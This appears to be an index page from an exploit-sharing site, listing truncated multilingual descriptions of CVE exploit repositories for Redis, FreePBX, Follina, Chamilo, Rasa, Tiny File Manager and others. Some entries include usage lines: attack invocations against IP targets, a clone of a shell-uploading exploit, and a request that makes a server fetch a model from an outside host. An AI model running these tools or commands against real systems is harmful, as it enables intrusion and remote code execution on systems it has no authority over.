CVE-2022-0543

CVE-2022-0543 1. परिचय Redis सैंडबॉक्स एस्केप भेद्यता CVE-2022-0543 POC&EXP 2. उपयोग root@kitploit: RedisRCE -help 查看帮助信息 RedisRCE -h 192.168.0.100:6379 无密码连接 //输入q退出程序 RedisRCE -h 192.168.0.100:6379 -p 123456 密码连接 3. अस्वीकरण यह उपकरण केवल सीखने, शोध और स्व-जांच के लिए है। इसका उपयोग अवैध...

WIn-CVE-2021-31166

WIn-CVE-2021-31166 यह रेपो 0vercl0k द्वारा CVE-2021-31166 "HTTP प्रोटोकॉल स्टैक रिमोट कोड निष्पादन भेद्यता" के लिए एक प्रूफ ऑफ कॉन्सेप्ट से प्रेरित है, जो http.sys में एक उपयोग-के-बाद-मुक्त use-after-free डीरेफरेंस है, जिसे मई 2021 में माइक्रोसॉफ्ट द्वारा पैच किया गया था। बुनियादी ढाँचा बनाएँ...

CVE-2024-4577

CVE-2024-4577 भेद्यता जाँचकर्ता यह स्क्रिप्ट CVE-2024-4577 द्वारा वर्णित भेद्यता की जाँच करने के लिए डिज़ाइन की गई है, जिसमें कुछ PHP कॉन्फ़िगरेशनों का दोहन करके दूरस्थ रूप से मनमाना कोड निष्पादित किया जाता है। यह डोमेन की सूची में निर्दिष्ट एंडपॉइंट्स पर POST अनुरोध भेजता है और जाँचता है कि...

CVE-2026-7654

CVE-2026-7654 CVE-2026-7654 Admin Columns PHP Object Injection RCE Exploit...

freepbx-endpoint-sqli-rce

CVE-2025-57819 — FreePBX एंडपॉइंट मॉड्यूल SQL इंजेक्शन → रिमोट कोड निष्पादन सारांश FreePBX एंटरप्राइज़ टेलीफोनी वातावरण में व्यापक रूप से तैनात Asterisk PBX के लिए ओपन-सोर्स वेब GUI है। एंडपॉइंट प्रबंधक मॉड्यूल /admin/ajax.php पर एक AJAX हैंडलर प्रदर्शित करता है जो brand पैरामीटर स्वीकार करता है ...

-CVE-2026-7465

-CVE-2026-7465 CVE-2026-7465 استغلال تنفيذ الأوامر عن بعد الموثّق في مكونات Spectra Gutenberg Blocks...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" إخلاء مسؤولية هذه الأداة مخصصة للتعلم والبحث والفحص الذاتي فقط. لا ينبغي استخدامها لأغراض غير قانونية. جميع المخاطر الناتجة عن استخدام هذه الأداة لا...

CVE-2020-13942byVulHub

CVE-2020-13942byVulHub Apache Unomi Expression Language Injection RCE CVE-2020-13942 विवरण यह भेद्यता MVEL अभिव्यक्ति भाषा इंजेक्शन का शोषण करके Apache Unomi संस्करण 1.5.1 चलाने वाले सिस्टम पर मनमाने कमांड के निष्पादन की अनुमति देती है। परियोजना पृष्ठ GitHub - Vulhub - Unomi CVE-2020-13942 पर्याव...

CVE-2016-3088

CVE-2016-3088 - Удаленное выполнение кода в Apache ActiveMQ...

CVE-2025-32433-Exploit-edited

CVE-2025-32433 एक्सप्लॉइट विंडोज संगत Erlang/OTP SSH अप्रमाणित दूरस्थ कोड निष्पादन विवरण इस रिपॉजिटरी में CVE-2025-32433 के लिए एक एक्सप्लॉइट है, जो Erlang/OTP SSH सर्वर में एक गंभीर अप्रमाणित दूरस्थ कोड निष्पादन भेद्यता है। मुख्य विशेषताएं: ✅ प्री-प्रमाणीकरण RCE एक्सप्लॉइट ✅ विंडोज GBK एन्कोडिंग...

WebLogic-Shiro-shell

जावा डिसीरियलाइज़ेशन तकनीक साझा करना इस बार साझा करने में निम्नलिखित बिंदु शामिल हैं: 1. जावा सीरियलाइज़ेशन और डिसीरियलाइज़ेशन की मूल बातें 2. डिसीरियलाइज़ेशन के दौरान कमज़ोरियाँ क्यों उत्पन्न होती हैं? 3. जावा रिफ्लेक्शन 4. ysoserial CommonsCollections2, CommonsCollections5 5. Java ClassLoader...

CVE-2018-1270

CVE-2018-1270 CVE-2018-1270 بيئة RCE للتعبير...

CVE-2021-44228

Обзор Этот репозиторий содержит правила OpenIOC для поиска индикаторов компрометации, связанных с уязвимостью удаленного выполнения кода Apache Log4j 2 CVE-2021-44228. Эти правила считаются поисковыми правилами, и поэтому эффективность обнаружения будет варьироваться в зависимости от организации...

CVE-2026-47670

CVE-2026-47670 DbGate के loadReader फंक्शननेम कोड इंजेक्शन के माध्यम से प्रमाणित रिमोट कोड निष्पादन DbGate एक ओपन-सोर्स, क्रॉस-प्लेटफॉर्म डेटाबेस प्रबंधन उपकरण है जो डेवलपर्स और डेटाबेस प्रशासकों के लिए डिज़ाइन किया गया है, जिन्हें एक साथ कई डेटाबेस सिस्टम के साथ काम करने की आवश्यकता होती है। यह...

CVE-2023-34960

CVE-2023-34960 Chamilo कमांड इंजेक्शन स्वचालित अपलोड शेल के साथ। अपनी तर्कशक्ति का उपयोग करें अपने परिणाम भेद्यता पर पथ निर्देशिका जांचें, फिर आप अपने एक्सेस शेल wso.php पा सकते हैं स्थापित करने और निष्पादित करने के लिए root@kitploit: $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $ cd...

CVE-2021-40964

Tiny File Manager = 2.4.6 - दूरस्थ कोड निष्पादन प्रमाणित 🚨 एक्सप्लॉइट के बारे में यह Tiny File Manager संस्करण = 2.4.6 के लिए Bash-आधारित प्रमाणित Remote Code Execution RCE एक्सप्लॉइट है, जो CVE-2021-40964 के तहत कमजोर है। स्क्रिप्ट निम्नलिखित का लाभ उठाती है: कमजोर अपलोड सत्यापन और वेबरूट...

CVE-2025-30406

भाग 1: एक्सप्लॉइट root@kitploit: λ CVE-2025-30406.exe rce.txt...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC مولد مستند docx خبيث لاستغلال ثغرة تنفيذ تعليمات برمجية عن بعد في Microsoft Office Word تم إنشاء هذا السكريبت بناءً على CVE-2021-40444 PoC by LockedByte و شرح من Tothi الاستخدام أولاً، قم بتعديل backup.html واستبدل حمولة PowerShell. في الوقت الحالي، يقوم فقط...

GHSA-GCX9-497G-6CP6 vulnerabilities

Vulnerabilities for packages: thingsboard...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py सीधे चलाएं root@kitploit: python server-1.py मनमानी फ़ाइल अपलोड root@kitploit: PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 प्रभाव इस प्रकार है: CVE-2021-41127 server-1.py डिफ़ॉल्ट मॉडल नाम...